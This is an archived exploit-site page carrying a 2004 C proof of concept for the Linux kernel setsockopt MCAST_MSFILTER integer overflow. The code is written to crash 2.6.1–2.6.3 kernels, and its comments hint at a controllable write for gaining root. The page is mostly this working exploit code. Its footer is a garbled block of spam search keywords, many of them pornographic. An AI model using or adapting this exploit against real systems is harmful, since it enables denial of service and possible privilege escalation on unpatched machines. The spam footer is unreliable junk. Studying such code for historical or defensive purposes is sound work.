about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Linux kernel 2.x setsockopt MCAST_MSFILTER Proof Of Concept



2004-04-21 Linux kernel 2.x setsockopt MCAST_MSFILTER Proof Of Concept

/* setsockopt proof of concept code by Julien TINNES (julien a.t cr0.org)
vulnerability found (as always by Paul Starzetz

This is only a lame POC which will crash the machine, no root shell here.

Maybe later, when everybody will have an updated box.

It should work on 2.6.1, 2.6.2 and 2.6.3 kernels.

Greets to Christophe Devine, too bad you wasn't with me for this one.

*/


#include <errno.h>
void perror (const char *s);

#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/socket.h>

#define SOL_IP 0
#define MCAST_MSFILTER 48

/* mynumsrc and alloc_room control the overflow
* what we write can be controlled too (not needed
* here but needed for rootshell exploit
*/

#define mynumsrc 0x100 /* 0x100 should be enough, can be tweaked */
#define alloc_room 1 /* let it alocate only one u32 */

struct mygroup_filter
{
__u32 gf_interface; /* interface index */
struct sockaddr_storage gf_group; /* multicast address */
__u32 gf_fmode; /* filter mode */
__u32 gf_numsrc; /* number of sources */
struct sockaddr_storage gf_slist[mynumsrc]; /* interface index */
};


void
main (void)
{

int mysocket;
int sockprot;
struct mygroup_filter mygroup;
int optlen;
int i;
struct sockaddr_in *psin;

mygroup.gf_interface = 0;
mygroup.gf_numsrc = (1 << 30) - 4 + alloc_room;

mygroup.gf_group.ss_family = AF_INET;



for (i = 0; i < mynumsrc; i++)
{
psin = (struct sockaddr_in *) &mygroup.gf_slist[i];
psin->sin_family = AF_INET;
}


mysocket = socket (PF_INET, SOCK_STREAM, 0);

if (mysocket == -1)
{
perror ("Socket creation error: ");
exit (1);
}

optlen = sizeof (struct mygroup_filter);

printf ("Calling setsockopt(), this should crash the
box...\n");
sockprot = setsockopt (mysocket, SOL_IP, MCAST_MSFILTER, &mygroup,
optlen);

if (sockprot == -1)
{
perror ("Invalid setsockopt: ");
exit (1);
}
}


securitydot.net - 2004-04-21

Advertising

Copyright 2007, SecurityDot
Mon, 14 Dec 2009 21:35:43 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
Www.sex vi dcerc rpotry@hub Rainsex marathisex Gambar bug Mallika sh Kareen jebacina s INDORE SEX mambo Remo www.freese vBulletin& news for c skupe filmsex sex arab www.india w.w.w saxw qbp8.com ww.89.com sex*4u vedio sex filmsexgra mulheres n Www.Ultrap WWW.666.Co IIS+6.0+%2 hotcore te http://www IIS Cross prone movi www .sexoc Trishabath news for c Crack Data apache exp Womensexim u porn php-nuke 2 silk kareena se tamilsexyg Gjja p PhpAuction sexfatfree www.sex mo www.Livese WWW.18to19 www.youtou